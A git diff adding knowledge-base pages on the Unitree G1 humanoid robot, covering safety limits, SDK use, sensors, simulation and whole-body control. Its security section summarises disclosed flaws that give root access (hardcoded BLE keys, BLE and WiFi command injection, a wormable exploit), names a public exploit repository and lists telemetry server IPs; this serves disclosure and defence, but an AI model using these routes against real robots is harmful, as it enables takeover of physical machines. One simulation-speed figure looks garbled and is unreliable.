Limits + +| Property | Standard | EDU | Notes | Tier | +|-----------------------|----------|---------|--------------------------------|------| +| Max knee torque | 90 Nm | 120 Nm | Highest-torque joint | T0 | +| Other joint torques | — | — | Not published per-joint | T3 | +| Thermal protection | Yes | Yes | Per-motor temperature sensors | T0 | +| Torque limiting | Yes | Yes | SDK supports torque saturation | T0 | + +The SDK `MotorCmd_` structure includes a `mode` field (0=Disable, 1=Enable) that can be used to cut motor power. The `tau` field allows explicit torque limiting. [T0] + +## 4. Fall Detection & Recovery + +### Stock Behavior +The stock firmware detects falls and can attempt to protect the robot during falling. Specific behavior not fully documented. [T3] + +### Research-Validated Recovery +Multiple RL-based fall recovery approaches have been validated on real G1 hardware: [T1] + +| Approach | Paper | Key Feature | +|-------------------|---------------------|------------------------------------------------| +| Two-stage RL | arXiv:2502.12152 | Supine and prone recovery without hand-crafted controllers | +| HoST | arXiv:2502.08378 | Multi-critic RL, curriculum training, diverse postures | +| Unified fall-safety | arXiv:2511.07407 | Combined prevention + mitigation + recovery, zero-shot sim-to-real | + +## 5. Operational Environment Limits + +| Parameter | Value | Source | Tier | +|--------------------|-----------------|---------------------|------| +| Verified surfaces | Tile, concrete, carpet | Testing reports | T1 | +| Operating temperature| Not documented | — | — | +| Operating humidity | Not documented | — | — | +| IP rating | Not documented | — | — | +| Max wind speed | Not documented | — | — | + +**Recommendation:** Until environmental limits are confirmed, operate indoors in controlled environments (temperature 15-35°C, dry conditions). [T3 — Inferred best practice] + +## 6. Security Vulnerabilities & Telemetry + +### Known Vulnerabilities +Multiple security researchers have disclosed critical vulnerabilities in the G1: [T1 — arXiv:2509.14096, arXiv:2509.14139] + +| Vulnerability | Severity | Status | +|---|---|---| +| Hardcoded BLE AES encryption keys (identical across all units) | Critical | Partially patched (Oct 2025) | +| BLE command injection (UniPwn) — grants root on locomotion computer | Critical | Patch status unclear | +| WiFi password field injection (FreeBOT) | Critical | Patched in firmware 1.1.8+ | +| Wormable BLE exploit (one robot can infect others) | Critical | Reported | +| Static FMX encryption keys in configuration | High | Not patched | + +**UniPwn exploit** (Bin4ry/UniPwn on GitHub): Exploits hardcoded AES keys and unsanitized BLE input to achieve root-level command execution on the RK3588 locomotion computer. Affects G1, H1, Go2, R1, B2. + +### Telemetry — Data Sent to External Servers +The G1 sends telemetry data to external servers approximately every 5 minutes: [T1 — Security research] + +| Data Type | Sent? | Destination | +|---|---|---| +| Audio (microphone) | Yes | External servers (China) | +| Video (camera) | Yes | External servers | +| LiDAR point clouds | Yes | External servers | +| GPS location | Yes | External servers | +| Robot state | Yes | External servers | + +Known server IPs: 43.175.228.18, 43.175.229.18, 8.222.78.102 (port 17883 MQTT) + +**Mitigation:** If this is a concern, you can block outbound traffic from the robot at your network firewall, or disconnect the robot from internet-accessible networks entirely (the 192.168.123.0/24 subnet doesn't need internet for SDK operation). + +## 7. Safety Certifications + +No safety certifications have been confirmed in available documentation. This is an open question. [T4] + +## 8. Safe Development Practices + +Best practices for testing new behaviors on the G1: [T2 — Community experience + RL deployment papers] + +### Pre-Deployment Checklist +1. **Simulate first** — Validate all new behaviors in unitree_mujoco or Isaac Lab +2. **Cross-validate** — Test in a second simulator (Sim2Sim) for robustness +3. **Low-gain start** — Deploy with reduced PD gains initially +4. **Tethered testing** — Use a safety harness/gantry for first real-world tests +5. **Clear area** — Ensure at least 2m clearance around the robot +6. **Spotter present** — Always have a human spotter ready with the remote/e-stop +7. **Battery check** — Verify sufficient charge before testing (>30%) +8. **Record everything** — Log all sensor data for post-hoc analysis + +### Common Pitfalls (from Community Reports) +- **Motion state topic issues:** Some community developers report unexpected behavior with motion state topics (Robonomics experience report) [T2] +- **CycloneDDS version mismatch:** Using a DDS version other than 0.10.2 causes silent communication failures [T1] +- **WiFi latency:** Wireless control introduces variable latency — use wired for safety-critical tests [T2] + +## 9. Control Barrier Functions for Balance Safety + +CBFs provide formal safety guarantees for balance — a mathematical guarantee that the robot won't fall (subject to model accuracy): [T1 — Control theory, validated on G1] + +### Concept +Define a safety function h(x) such that h(x) > 0 means "safe" (e.g., CoM projection within support polygon). A CBF controller ensures this constraint is never violated: + +``` +Safety filter QP: +minimize || u - u_desired ||^2 (stay close to desired action) +subject to ḣ(x,u) + α·h(x) ≥ 0 (CBF: safety maintained over time) + u_min ≤ u ≤ u_max (actuator limits) +``` + +### G1 Applications +- **Balance safety:** h(x) = distance from CoM projection to edge of support polygon +- **Joint limit safety:** h(x) = distance from current joint angle to limit +- **Collision avoidance:** h(x) = distance from robot links to obstacles (arXiv:2502.02858 — validated on G1) + +### Pros and Cons +- **Pro:** Formal guarantee — if the model is accurate, safety is provably maintained +- **Pro:** Minimal modification — acts as a "safety filter" on any controller +- **Con:** Requires accurate dynamics model (link masses, inertias) +- **Con:** Computationally expensive real-time QP (must solve within 2ms at 500 Hz) +- **Con:** Conservative — may reject valid actions near the safety boundary + +See [[push-recovery-balance]] §3c for detailed application to push recovery. + +## 10. Fall Risk Assessment for Custom Low-Level Control + +**WARNING:** Bypassing the stock locomotion controller to send raw joint commands via `rt/lowcmd` introduces significant fall risk. [T1] + +| Risk Level | Scenario | Mitigation | +|---|---|---| +| Low | Overlay approach — stock controller handles legs, user controls arms only | Stock balance maintained | +| Medium | GR00T-WBC — trained RL locomotion policy replaces stock | Validate extensively in sim | +| High | Full custom policy — all joints controlled by user code | Safety harness mandatory, extensive sim2sim validation | +| Critical | Untested low-level commands to leg joints | DO NOT do this without simulation validation | + +### Required Precautions for Custom Balance +1. Always simulate first in MuJoCo or Isaac Lab +2. Cross-validate in a second simulator (Sim2Sim) +3. Use a safety harness for all real-robot tests +4. Start with standing only, then walking, then with perturbations +5. Have a spotter with e-stop at all times +6. Consider a CBF safety filter as an additional layer + +## Key Relationships +- Constrains: [[joint-configuration]] (joint limits, torque limits) +- Constrains: [[locomotion-control]] (safe operating speeds, fall protection) +- Constrains: [[deployment-operations]] (environmental limits, pre-op checks) +- References: [[equations-and-bounds]] (numerical bounds) +- Informs: [[learning-and-ai]] (safety wrappers for policy deployment) +- Protects: [[push-recovery-balance]] (safety layer for balance enhancement) +- Protects: [[whole-body-control]] (safety constraints for WBC) +- Protects: [[motion-retargeting]] (feasibility checking before execution) diff --git a/context/sdk-programming.md b/context/sdk-programming.md new file mode 100644 index 0000000..0fc94a4 --- /dev/null +++ b/context/sdk-programming.md @@ -0,0 +1,159 @@ +--- +id: sdk-programming +title: "SDK & Programming Interface" +status: established +source_sections: "reference/sources/github-unitree-sdk2.md, reference/sources/github-unitree-sdk2-python.md, reference/sources/official-get-sdk.md, reference/sources/official-dds-services.md" +related_topics: [ros2-integration, networking-comms, joint-configuration, sensors-perception] +key_equations: [] +key_terms: [unitree_sdk2, dds, cyclone_dds, pybind11, lowcmd, lowstate, motor_cmd, force_position_hybrid, domain_id] +images: [] +examples: [] +open_questions: + - "Python vs C++ API coverage parity (are all C++ features wrapped?)" + - "High-level sport mode API details for G1 specifically" + - "Camera API — how to access D435i frames via SDK" +--- + +# SDK & Programming Interface + +Software development kits, APIs, and programming interfaces for controlling the G1. + +## 1. Unitree SDK2 (C++) + +The primary SDK for robot control. DDS-based, works without ROS2 but remains ROS2-compatible. [T0 — GitHub] + +| Property | Value | +|-------------------|---------------------------------------------| +| Repository | https://github.com/unitreerobotics/unitree_sdk2 | +| Version | v2.0.2 (as of July 2025) | +| Language | C++ (99.2% of codebase) | +| License | BSD-3-Clause | +| Middleware | CycloneDDS v0.10.2 | +| Supported OS | Ubuntu 20.04 LTS | +| Architectures | aarch64 (Jetson), x86_64 (development PC) | +| Compiler | GCC 9.4.0+ | +| Build system | CMake 3.10+ | +| GitHub stars | ~888 | + +### Dependencies + +``` +sudo apt install cmake libyaml-cpp-dev libeigen3-dev libboost-all-dev libspdlog-dev libfmt-dev +``` + +### Build & Install + +```bash +git clone https://github.com/unitreerobotics/unitree_sdk2.git +cd unitree_sdk2 +mkdir build && cd build +cmake .. && make + +# System-wide install (optional) +sudo make install + +# Custom install location +cmake .. -DCMAKE_INSTALL_PREFIX=/custom/path +sudo make install +``` + +### Key Features +- Request-response and topic subscription/publishing patterns +- Low-level motor control (LowCmd/LowState) +- High-level sport mode commands +- IMU data access +- Wireless controller input +- Native DDS — no ROS2 dependency required + +## 2. Python SDK (unitree_sdk2_python) + +Python wrapper maintaining API consistency with C++ SDK. [T0 — GitHub] + +| Property | Value | +|-------------------|---------------------------------------------| +| Repository | https://github.com/unitreerobotics/unitree_sdk2_python | +| Binding | pybind11 | +| Python version | ≥ 3.8 | +| CycloneDDS version | 0.10.2 (critical — must match) | +| License | BSD-3-Clause | +| GitHub stars | ~579 | + +### Installation + +```bash +git clone https://github.com/unitreerobotics/unitree_sdk2_python.git +cd unitree_sdk2_python +pip3 install -e . +``` + +**Note:** May require separate CycloneDDS compilation from source and setting the `CYCLONEDDS_HOME` environment variable. [T1] + +### G1 Examples + +Located in `/example/g1/` directory: +- **High-level control:** stand/lie down, velocity commands, attitude adjustment, trajectory tracking +- **Low-level control:** direct motor position/torque commands +- **Peripherals:** wireless controller, front camera (OpenCV), obstacle avoidance, LED/volume control + +All examples require a network interface parameter (e.g., `enp2s0`) for robot connectivity. + +## 3. Control Modes + +The SDK supports multiple control modes via the `MotorCmd_` structure: [T0 — Developer Guide] + +| Mode | Field | Description | +|--------------------|-------|-----------------------------------------------------| +| Position control | `q` | Target joint angle in radians | +| Velocity control | `dq` | Target joint velocity in rad/s | +| Torque control | `tau` | Feed-forward torque in Nm | +| Force-position hybrid | `q` + `tau` | Position target with torque feed-forward | +| Enable/disable | `mode`| 0 = Disable motor, 1 = Enable motor | + +**Control loop rate:** 500 Hz (commands should be published at this rate for smooth control) + +## 4. Data Streams (DDS Topics) + +### Body Control +| Topic | Type | Direction | Description | +|-------------------|----------------------------------------|------------|-------------------------------| +| `rt/lowstate` | `unitree_hg::msg::dds_::LowState_` | Subscribe | Full robot state | +| `rt/lowcmd` | `unitree_hg::msg::dds_::LowCmd_` | Publish | Motor commands for all joints | + +### Dexterous Hand (Dex3-1) +| Topic | Type | Direction | Description | +|---------------------------|-------------------------------------|------------|----------------------| +| `rt/dex3/left/cmd` | `unitree_hg` protocol | Publish | Left hand commands | +| `rt/dex3/right/cmd` | `unitree_hg` protocol | Publish | Right hand commands | +| `rt/dex3/left/state` | `unitree_hg` protocol | Subscribe | Left hand state | +| `rt/dex3/right/state` | `unitree_hg` protocol | Subscribe | Right hand state | + +### LowState_ Contents +- `mode_pr`: Parallel mechanism control mode +- `mode_machine`: G1 type identifier +- `tick`: Timer (increments every 1ms) +- `imu_state`: IMU sensor data (orientation, angular velocity, acceleration) +- `motor_state`: State for all body motors (position, velocity, torque) +- `wireless_remote`: Remote control data +- `crc`: Checksum for data integrity + +## 5. Development Workflow + +1. **Simulation first:** Test with `unitree_mujoco` (same DDS interface, switch domain ID) +2. **Network setup:** Connect to robot's WiFi or Ethernet (192.168.123.0/24) +3. **Verify connection:** Subscribe to `rt/lowstate` to confirm data flow +4. **Start simple:** Begin with high-level sport mode commands before low-level control +5. **Deploy to Jetson:** Cross-compile or develop directly on the onboard Jetson Orin NX + +## 6. Code Examples + +See `examples/` for worked examples. Key patterns: + +- **Subscriber pattern:** Create DDS subscriber for `rt/lowstate`, read joint states in callback +- **Publisher pattern:** Create DDS publisher for `rt/lowcmd`, send motor commands at 500 Hz +- **High-level pattern:** Use sport mode request/response API for walking, standing, etc. + +## Key Relationships +- Controls: [[joint-configuration]] (joint-level commands via MotorCmd_) +- Reads from: [[sensors-perception]] (IMU, encoder data via LowState_) +- Integrates with: [[ros2-integration]] (same DDS layer) +- Communicates via: [[networking-comms]] (CycloneDDS transport) diff --git a/context/sensors-perception.md b/context/sensors-perception.md new file mode 100644 index 0000000..d2b2091 --- /dev/null +++ b/context/sensors-perception.md @@ -0,0 +1,103 @@ +--- +id: sensors-perception +title: "Sensors & Perception" +status: established +source_sections: "reference/sources/official-product-page.md, reference/sources/official-developer-guide.md" +related_topics: [hardware-specs, locomotion-control, sdk-programming, safety-limits] +key_equations: [] +key_terms: [imu, state_estimation, realsense_d435i, livox_mid360, tactile_sensor, dual_encoder] +images: [] +examples: [] +open_questions: + - "IMU model and noise characteristics" + - "D435i resolution/FPS as configured on G1 specifically" + - "Force/torque sensor availability per variant" +--- + +# Sensors & Perception + +Sensor suite, specifications, and perception capabilities of the G1. + +## 1. Sensor Suite Overview + +| Sensor Type | Model/Spec | Location | Data Type | Network/Interface | Tier | +|---------------------|--------------------------|--------------|----------------------|------------------------|------| +| Depth Camera | Intel RealSense D435i | Head | RGB-D | USB, SDK access | T0 | +| 3D LiDAR | Livox MID360 | Head | 360° point cloud | Ethernet (192.168.123.20) | T0 | +| IMU | Onboard IMU | Body (torso) | 6-axis accel+gyro | Internal, via LowState | T0 | +| Microphone Array | 4-element array | Head | Audio (spatial) | Internal | T0 | +| Speaker | 5W stereo | Head | Audio output | Internal | T0 | +| Joint Encoders | Dual encoders per joint | Each joint | Position + velocity | Internal, via LowState | T0 | +| Temperature Sensors | Per-motor | Each actuator| Temperature | Internal, via LowState | T0 | +| Tactile Sensors | 33 per hand (Dex3-1) | Fingertips | Force/touch | Via Dex3-1 DDS topic | T0 | + +[T0 — Official product page and developer guide] + +## 2. Depth Camera — Intel RealSense D435i + +The primary visual sensor for RGB-D perception, obstacle detection, and environment mapping. + +- **Standard D435i specs:** 1280x720 @ 30fps (depth), 1920x1080 @ 30fps (RGB), 87° x 58° FOV (depth) +- **Note:** G1-specific configuration (resolution, FPS) may differ from standard D435i defaults — see open questions +- **Mounting:** Head-mounted, forward-facing +- **Access:** Via RealSense SDK on development computer, or via SDK2 camera API +- **Research:** Used for end-to-end vision-based locomotion (arXiv:2602.06382) with depth augmentation [T1] + +## 3. 3D LiDAR — Livox MID360 + +360-degree environment scanning for navigation, SLAM, and obstacle avoidance. + +- **Horizontal FOV:** 360° +- **Vertical angle:** 59° +- **Network:** Ethernet at 192.168.123.20 +- **Access:** Requires separate Livox driver setup (unilidar_sdk2) +- **Use cases:** SLAM, navigation, environment mapping, point cloud generation + +## 4. IMU (Inertial Measurement Unit) + +Critical for balance and state estimation during locomotion. + +- **Type:** 6-axis (3-axis accelerometer + 3-axis gyroscope) +- **Access:** Available in `rt/lowstate` → `imu_state` field +- **Used by:** Locomotion computer for real-time balance control, state estimation +- **User access:** Via SDK2 LowState subscription + +## 5. Joint Proprioception + +Dual encoders per joint provide high-accuracy feedback: + +- **Position feedback:** Absolute joint angle (rad) +- **Velocity feedback:** Joint angular velocity (rad/s) +- **Access:** `rt/lowstate` → `motor_state` array +- **Rate:** Updated at 500 Hz (control loop frequency) + +## 6. Perception Pipeline + +``` +Sensors → Locomotion Computer → DDS → Development Computer → User Applications + │ │ + │ └── IMU + encoders → state estimation → balance control (internal) + │ + ├── D435i → RealSense SDK → RGBD frames → perception/planning + ├── MID360 → Livox driver → point cloud → SLAM/navigation + └── Microphones → audio processing → voice interaction +``` + +The locomotion computer handles proprioceptive sensing (IMU, encoders) internally for real-time control. Exteroceptive sensors (cameras, LiDAR) are processed on the development computer. [T1 — Inferred from architecture] + +## 7. State Estimation + +The locomotion computer fuses IMU and joint encoder data for real-time state estimation: [T2 — Observed from RL papers] + +- Body orientation (roll, pitch, yaw) from IMU +- Angular velocity from IMU gyroscope +- Joint positions and velocities from encoders +- Contact state inference for foot contact detection + +This state estimate feeds directly into the RL-based locomotion policy at 500 Hz. + +## Key Relationships +- Mounted on: [[hardware-specs]] +- Feeds into: [[locomotion-control]] (balance, terrain adaptation) +- Accessed via: [[sdk-programming]] (sensor data API) +- Network config: [[networking-comms]] diff --git a/context/simulation.md b/context/simulation.md new file mode 100644 index 0000000..40b54d3 --- /dev/null +++ b/context/simulation.md @@ -0,0 +1,145 @@ +--- +id: simulation +title: "Simulation Environments" +status: established +source_sections: "reference/sources/github-unitree-mujoco.md, reference/sources/github-unitree-rl-gym.md, reference/sources/github-unitree-rl-lab.md, reference/sources/github-unitree-sim-isaaclab.md, reference/sources/github-mujoco-menagerie-g1.md" +related_topics: [ros2-integration, learning-and-ai, locomotion-control] +key_equations: [] +key_terms: [sim_to_real, domain_id] +images: [] +examples: [] +open_questions: + - "Optimal domain randomization parameters for G1 sim-to-real" + - "MJX vs standard MuJoCo performance for G1 training" + - "PyBullet G1 model quality and community support" +--- + +# Simulation Environments + +Simulation tools, robot models, and sim-to-real transfer for the G1. + +## 1. Available Simulators + +| Simulator | Repository / Source | Status | Model Format | G1 Configs | Tier | +|------------------|--------------------------------------------------|--------------|-------------|--------------------------------------|------| +| MuJoCo (Unitree) | unitreerobotics/unitree_mujoco | Official | MJCF | G1 (all variants) | T0 | +| MuJoCo Menagerie | google-deepmind/mujoco_menagerie/unitree_g1 | Official | MJCF | G1 29-DOF, G1 with hands | T0 | +| Isaac Lab | unitreerobotics/unitree_sim_isaaclab | Official | USD/URDF | G1-29dof-gripper, G1-29dof-dex3, G1-23dof | T0 | +| Isaac Gym (legged) | unitreerobotics/unitree_rl_gym | Official | URDF | G1 | T0 | +| Isaac Lab (RL) | unitreerobotics/unitree_rl_lab | Official | USD/URDF | G1-29dof | T0 | +| Gazebo | unitreerobotics/unitree_ros | Limited | URDF | G1 (no high-level walking) | T1 | +| PyBullet | Community | Community | URDF | G1 (community models) | T2 | +| Unity ML-Agents | RizziGama/unitree-g1-rl-unity | Community | URDF | G1 (PPO/SAC training) | T2 | + +## 2. Robot Models + +### MuJoCo Menagerie (Recommended for MuJoCo) +- **Repository:** https://github.com/google-deepmind/mujoco_menagerie/tree/main/unitree_g1 +- **Key files:** + - `g1.xml` — Main 29-DOF model + - `g1_with_hands.xml` — Variant with hand models + - `scene.xml` — Standard environment + - `scene_mjx.xml` — MJX-optimized environment + - `assets/` — Mesh and texture files +- **Requirements:** MuJoCo 2.3.4+ +- **MJX variant:** Manually designed collision geometries, tuned solver parameters, realistic PD gains validated on real hardware (MuJoCo Playground, arXiv:2502.08844) +- **License:** BSD-3-Clause [T0] + +### Unitree ROS URDF +- **Repository:** https://github.com/unitreerobotics/unitree_ros +- **Location:** `robots/g1_description/` +- **Contents:** URDF with mass, inertia, moment, and joint limits +- **Note:** Designed for MuJoCo, NOT Gazebo-compatible for walking [T0] + +### USD Models (Isaac Sim) +- **Repository:** https://github.com/unitreerobotics/unitree_model (DEPRECATED) +- **Current source:** HuggingFace (newer models) +- **Format:** USD, converted from URDF via Isaac Sim [T0] + +## 3. unitree_mujoco — Primary Simulator + +Official MuJoCo simulator with seamless sim-to-real transition: [T0] + +| Feature | Details | +|-----------------------|------------------------------------------------| +| Languages | C++ (recommended) and Python | +| C++ location | `simulate/` directory | +| Python location | `simulate_python/` directory | +| Terrain generation | Stairs, rough ground, heightmaps | +| Humanoid init | Virtual elastic band for stable initialization | +| Joystick support | pygame-based joystick control (Python) | + +### C++ Dependencies +unitree_sdk2, MuJoCo, libyaml-cpp-dev, libspdlog-dev, libboost-all-dev, libglfw3-dev + +### Python Dependencies +unitree_sdk2_python, mujoco (pip), pygame (for joystick) + +### Supported Communication +- LowCmd/LowState (motor control) +- SportModeState (robot position/velocity) +- IMUState (for G1 robots) + +## 4. unitree_sim_isaaclab — Isaac Lab Integration + +High-fidelity simulation for data collection and model validation: [T0] + +| Feature | Details | +|-------------------------|----------------------------------------------| +| Isaac Sim versions | 4.5.0 or 5.0.0 | +| G1 configurations | G1-29dof-gripper, G1-29dof-dex3, G1-23dof | +| Tasks | Pick-and-place, stacking, mobile manipulation | +| DDS communication | Same protocol as physical robot | +| Visual data | Camera capture in simulation | +| Performance | 1s sim = 27 min real-world (RTX 4090, rough terrain) | + +### Example Command +```bash +python sim_main.py --task Isaac-PickPlace-Cylinder-G129-Dex1-Joint \ + --enable_dex1_dds --robot_type g129 +``` + +## 5. Sim-to-Real Transfer + +The G1 ecosystem is designed for straightforward sim-to-real transfer: [T0] + +### MuJoCo → Real +Switch from simulation to real robot by changing only the network configuration: +- **Simulation:** Use domain ID for DDS routing +- **Real hardware:** Specify network interface (e.g., `enp2s0`) + +No code changes required — the same DDS API works in both environments. [T0] + +### Training → Deployment Pipeline +``` +1. Train (Isaac Gym / MuJoCo) → policy checkpoint +2. Play (MuJoCo sim) → validate behavior +3. Sim2Sim (MuJoCo ↔ Isaac Lab) → cross-sim validation +4. Sim2Real (unitree_sdk2) → deploy to physical robot +``` + +### Domain Randomization +Standard RL training uses domain randomization for robustness: +- Physics parameters (friction, mass, restitution) +- Sensor noise (IMU bias, encoder noise) +- Terrain variation (procedural heightmaps) +- Latency simulation +- **External force perturbations** — random pushes applied to torso during training for push recovery robustness (see [[push-recovery-balance]]) + +### Perturbation Testing in Simulation +Both MuJoCo and Isaac Gym/Lab support applying external forces to the robot body during simulation. This is essential for: +- Training push-robust locomotion policies ([[push-recovery-balance]]) +- Validating balance during mocap playback ([[motion-retargeting]]) +- Testing whole-body controller robustness ([[whole-body-control]]) + +In MuJoCo: use `mj_applyFT()` to apply forces/torques to bodies. +In Isaac Gym: use `gym.apply_body_force_at_pos()` for the same. + +### Motion Retargeting Validation +The AMASS motion dataset (retargeted for G1, available on HuggingFace) provides reference trajectories that can be played back in simulation before real-robot execution. This enables safe validation of the full mocap → retarget → WBC → execute pipeline. See [[motion-retargeting]]. + +## Key Relationships +- Models from: [[ros2-integration]] (URDF files) +- Trains policies for: [[learning-and-ai]] (RL training environments) +- Validates: [[locomotion-control]] (test gaits in sim before real hardware) +- Same API as: [[sdk-programming]] (DDS interface identical in sim and real) diff --git a/context/whole-body-control.md b/context/whole-body-control.md new file mode 100644 index 0000000..8350b4b --- /dev/null +++ b/context/whole-body-control.md @@ -0,0 +1,212 @@ +--- +id: whole-body-control +title: "Whole-Body Control" +status: established +source_sections: "reference/sources/paper-groot-wbc.md, reference/sources/paper-h2o.md, reference/sources/paper-omnih2o.md, reference/sources/paper-humanplus.md, reference/sources/paper-softa.md, reference/sources/github-groot-wbc.md, reference/sources/github-pinocchio.md" +related_topics: [locomotion-control, manipulation, motion-retargeting, push-recovery-balance, learning-and-ai, joint-configuration] +key_equations: [com, zmp, inverse_dynamics] +key_terms: [whole_body_control, task_space_inverse_dynamics, operational_space_control, centroidal_dynamics, qp_solver, groot_wbc, residual_policy, h2o, omnih2o, pinocchio] +images: [] +examples: [] +open_questions: + - "Can GR00T-WBC run at 500 Hz on the Jetson Orin NX?" + - "Does the stock locomotion computer expose a low-level override interface?" + - "What is the practical latency penalty of the overlay (residual) approach vs. full replacement?" +--- + +# Whole-Body Control + +Frameworks and architectures for coordinating balance, locomotion, and upper-body motion simultaneously. This is the unifying layer that enables motion capture playback with robust balance. + +## 1. What Is Whole-Body Control? + +Whole-body control (WBC) treats the entire robot as a single coordinated system rather than controlling legs (balance) and arms (task) independently. A WBC controller solves for all joint commands simultaneously, subject to: + +- **Task objectives:** Track a desired upper-body trajectory (e.g., from mocap) +- **Balance constraints:** Keep the center of mass (CoM) within the support polygon +- **Physical limits:** Joint position/velocity/torque limits, self-collision avoidance +- **Contact constraints:** Maintain foot contact, manage ground reaction forces + +The key insight: balance is formulated as a *constraint*, not a separate controller. This lets the robot move its arms freely while the optimizer automatically adjusts the legs to stay stable. [T1 — Established robotics paradigm] + +## 2. The G1 Architectural Constraint + +The G1 has a **dual-computer architecture** (see [[locomotion-control]]): [T0] + +``` +┌─────────────────────────┐ ┌─────────────────────────┐ +│ Locomotion Computer │ │ Development Computer │ +│ 192.168.123.161 │ │ 192.168.123.164 │ +│ (proprietary, locked) │◄───►│ Jetson Orin NX 16GB │ +│ │ DDS │ (user-accessible) │ +│ Stock RL balance policy │ │ Custom code runs here │ +└─────────────────────────┘ └─────────────────────────┘ +``` + +This creates two fundamentally different WBC approaches: + +### Approach A: Overlay (Residual) — Safer +- Keep the stock locomotion controller running on the locomotion computer +- Send high-level commands (velocity, posture) via the sport mode API +- Add upper-body joint commands for arms via `rt/lowcmd` for individual arm joints +- The stock controller handles balance; you only control the upper body +- **Pro:** Low risk, stock balance is well-tuned +- **Con:** Limited authority — can't deeply coordinate leg and arm motions, stock controller may fight your arm commands if they shift CoM significantly + +### Approach B: Full Replacement — Maximum Control +- Bypass the stock controller entirely +- Send raw joint commands to ALL joints (legs + arms + waist) via `rt/lowcmd` at 500 Hz +- Must implement your own balance and locomotion from scratch +- **Pro:** Full authority over all joints, true whole-body optimization +- **Con:** High risk of falls, requires validated balance policy, significant development effort + +### Approach C: GR00T-WBC Framework — Best of Both (Recommended) +- Uses a trained RL locomotion policy for lower body (replaceable, not the stock one) +- Provides a separate interface for upper-body control +- Coordinates both through a unified framework +- **Pro:** Validated on G1, open-source, designed for this exact use case +- **Con:** Requires training a new locomotion policy (but provides tools to do so) + +[T1 — Confirmed from developer documentation and GR00T-WBC architecture] + +## 3. GR00T-WholeBodyControl (NVIDIA) + +The most G1-relevant WBC framework. Open-source, designed specifically for Unitree humanoids. [T1] + +| Property | Value | +|---|---| +| Repository | NVIDIA-Omniverse/gr00t-wbc (GitHub) | +| License | Apache 2.0 | +| Target robots | Unitree G1, H1 | +| Integration | LeRobot (HuggingFace), Isaac Lab | +| Architecture | Decoupled locomotion (RL) + upper-body (task policy) | +| Deployment | unitree_sdk2_python on Jetson Orin | + +### Architecture + +``` + ┌──────────────────┐ + │ Task Policy │ (mocap tracking, manipulation, etc.) + │ (upper body) │ + └────────┬─────────┘ + │ desired upper-body joints + ┌────────▼─────────┐ + │ WBC Coordinator │ ← balance constraints + │ (optimization) │ ← joint limits + └────────┬─────────┘ + │ + ┌──────────────────┼──────────────────┐ + │ │ │ + ┌──────▼──────┐ ┌──────▼──────┐ ┌───────▼──────┐ + │ Locomotion │ │ Arm Joints │ │ Waist Joint │ + │ Policy (RL) │ │ │ │ │ + │ (lower body) │ │ │ │ │ + └─────────────┘ └─────────────┘ └──────────────┘ +``` + +### Key Features +- **Locomotion policy:** RL-trained, handles balance and walking. Can be retrained with perturbation robustness. +- **Upper-body interface:** Accepts target joint positions for arms/waist from any source (mocap, learned policy, teleoperation) +- **LeRobot integration:** Data collection via teleoperation → behavior cloning → deployment, all within the GR00T-WBC framework +- **Sim-to-real:** Trained in Isaac Lab, deployed on real G1 via unitree_sdk2 +- **G1 configs:** Supports 29-DOF and 23-DOF variants + +### Why This Matters for Mocap + Balance +GR00T-WBC is the most direct path to the user's goal: the locomotion policy maintains balance (including push recovery if trained with perturbations) while the upper body tracks mocap reference trajectories. The two are coordinated through the WBC layer. + +## 4. Pinocchio + TSID (Model-Based WBC) + +An alternative to RL-based WBC using classical optimization. [T1 — Established framework] + +| Property | Value | +|---|---| +| Library | Pinocchio (stack-of-tasks/pinocchio) | +| Language | C++ with Python bindings | +| License | BSD-2-Clause | +| Key capability | Rigid body dynamics, forward/inverse kinematics, Jacobians, dynamics | + +### Task-Space Inverse Dynamics (TSID) +Pinocchio + TSID solves a QP at each timestep: + +``` +minimize || J_task * qdd - x_task_desired ||^2 (track task) +subject to CoM ∈ support polygon (balance) + q_min ≤ q ≤ q_max (joint limits) + tau_min ≤ tau ≤ tau_max (torque limits) + contact constraints (feet on ground) +``` + +- **Pros:** Interpretable, respects physics exactly, no training required +- **Cons:** Requires accurate dynamics model (masses, inertias), computationally heavier than RL at runtime, less robust to model errors +- **G1 compatibility:** Needs URDF with accurate dynamics. MuJoCo Menagerie model or unitree_ros URDF provide this. + +### Use Cases for G1 +- Offline trajectory optimization (plan mocap-feasible trajectories ahead of time) +- Real-time WBC if dynamics model is accurate enough +- Validation tool: check if a retargeted motion is physically feasible before executing + +## 5. RL-Based WBC Approaches + +### SoFTA — Slow-Fast Two-Agent RL +Decouples whole-body control into two agents operating at different frequencies: [T1 — Research] + +- **Slow agent (lower body):** Locomotion at standard control frequency, handles balance and walking +- **Fast agent (upper body):** Manipulation at higher frequency for precision tasks +- Key insight: upper body needs faster updates for manipulation precision; lower body is slower but more stable + +### H2O — Human-to-Humanoid Real-Time Teleoperation +(arXiv:2403.01623) [T1 — Validated on humanoid hardware] + +- Real-time human motion retargeting to humanoid robot +- RL policy trained to imitate human demonstrations while maintaining balance +- Demonstrated whole-body teleoperation including walking + arm motion +- Relevant to G1: proves the combined mocap + balance paradigm works + +### OmniH2O — Universal Teleoperation and Autonomy +(arXiv:2406.08858) [T1] + +- Extends H2O with multiple input modalities (VR, RGB camera, motion capture) +- Trains a universal policy that generalizes across different human operators +- Supports both teleoperation (real-time) and autonomous replay (offline) +- Directly relevant: could drive G1 from mocap recordings + +### HumanPlus — Humanoid Shadowing and Imitation +(arXiv:2406.10454) [T1] + +- "Shadow mode": real-time mimicry of human motion using RGB camera +- Collects demonstrations during shadowing, then trains autonomous policy via imitation learning +- Complete pipeline from human motion → robot imitation → autonomous execution +- Validated on full-size humanoid with walking + manipulation + +## 6. WBC Implementation Considerations for G1 + +### Compute Budget +- Jetson Orin NX: 100 TOPS (AI), 8-core ARM CPU +- RL policy inference: typically < 1ms per step +- QP-based TSID: typically 1-5ms per step (depends on DOF count) +- 500 Hz control loop = 2ms budget per step +- RL approach fits comfortably; QP-based requires careful optimization + +### Sensor Requirements +- IMU (onboard): orientation, angular velocity — available +- Joint encoders (onboard): position, velocity — available at 500 Hz +- Foot contact sensing: NOT standard on G1 — must infer from joint torques or add external sensors [T3] +- External force estimation: possible from IMU + dynamics model, or add force/torque sensors [T3] + +### Communication Path +``` +Jetson Orin (user code) ──DDS──► rt/lowcmd ──► Joint Actuators + ◄──DDS── rt/lowstate ◄── Joint Encoders + IMU +``` +- Latency: ~2ms DDS round trip [T1] +- Frequency: 500 Hz control loop [T0] +- Both overlay and replacement approaches use this same DDS path + +## Key Relationships +- Builds on: [[locomotion-control]] (balance as a component of WBC) +- Enables: [[motion-retargeting]] (WBC provides the balance guarantee 